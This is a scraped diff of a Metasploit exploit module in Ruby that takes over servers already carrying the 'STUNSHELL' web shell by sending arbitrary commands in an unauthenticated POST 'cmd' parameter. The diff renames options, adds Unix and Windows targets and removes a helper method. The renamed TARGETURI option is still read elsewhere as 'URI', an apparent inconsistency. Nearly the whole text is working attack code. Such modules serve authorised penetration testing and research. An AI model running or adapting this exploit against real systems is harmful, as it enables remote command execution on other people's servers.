8
8
require 'msf/core'
9
9
10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = GreatRanking
11
12
12
13
include Msf ::Exploit ::Remote ::HttpClient
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
16
- 'Name' => '" STUNSHELL" Web Shell Remote Code Execution' ,
17
+ 'Name' => 'STUNSHELL Web Shell Remote Code Execution' ,
17
18
'Description' => %q{
18
- This module exploits unauthenticated versions of the "STUNSHELL" web shell. This
19
+ This module exploits unauthenticated versions of the "STUNSHELL" web shell. This
19
20
module works when safe mode is disabled on the web server. This shell is widely
20
21
used in automated RFI payloads.
21
22
} ,
@@ -32,32 +33,36 @@ module works when safe mode is disabled on the web server. This shell is widely
32
33
'Privileged' => false ,
33
34
'Payload' =>
34
35
{
35
- 'Space' => 10000 , # Need to test this
36
+ 'Space' => 10000 , # Value determined by web server's POST limits
36
37
'BadChars' => '' ,
37
38
'DisableNops' => true ,
38
39
'Compat' =>
39
40
{
40
- 'PayloadType' => 'cmd' ,
41
+ 'PayloadType' => 'cmd'
41
42
}
42
43
} ,
43
44
'Platform' => [ 'unix' , 'win' ] ,
44
45
'Arch' => ARCH_CMD ,
45
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
46
+ 'Targets' =>
47
+ [
48
+ [ 'stunshell / Unix' , { 'Platform' => 'unix' } ] ,
49
+ [ 'stunshell / Windows' , { 'Platform' => 'win' } ]
50
+ ] ,
46
51
'DisclosureDate' => 'Mar 23 2013' ,
47
52
'DefaultTarget' => 0 ) )
48
53
49
54
register_options (
50
55
[
51
- OptString . new ( 'URI ' , [ true , "The path to the andalas_oku shell" , "/" ] ) ,
56
+ OptString . new ( 'TARGETURI ' , [ true , "The path to the andalas_oku shell" , "/IDC.php " ] ) ,
52
57
] , self . class )
53
58
end
54
59
55
60
def check
56
61
uri = normalize_uri ( datastore [ 'URI' ] )
57
62
request_parameters = {
58
- 'method' => 'POST' ,
59
- 'uri' => uri ,
60
- 'vars_post' =>
63
+ 'method' => 'POST' ,
64
+ 'uri' => uri ,
65
+ 'vars_post' =>
61
66
{
62
67
'cmd' => "echo 'andalas_oku test parameter'"
63
68
}
@@ -69,12 +74,12 @@ def check
69
74
return Exploit ::CheckCode ::Safe
70
75
end
71
76
72
- def http_send_command ( cmd , opts = { } )
77
+ def http_send_command ( cmd )
73
78
uri = normalize_uri ( datastore [ 'URI' ] )
74
79
request_parameters = {
75
- 'method' => 'POST' ,
76
- 'uri' => uri ,
77
- 'vars_post' =>
80
+ 'method' => 'POST' ,
81
+ 'uri' => uri ,
82
+ 'vars_post' =>
78
83
{
79
84
'cmd' => cmd
80
85
}
@@ -85,10 +90,6 @@ def http_send_command(cmd, opts = {})
85
90
end
86
91
end
87
92
88
- def execute_command ( cmd , opts = { } )
89
- http_send_command ( "#{ cmd } " )
90
- end
91
-
92
93
def exploit
93
94
http_send_command ( payload . encoded )
94
95
end
0 commit comments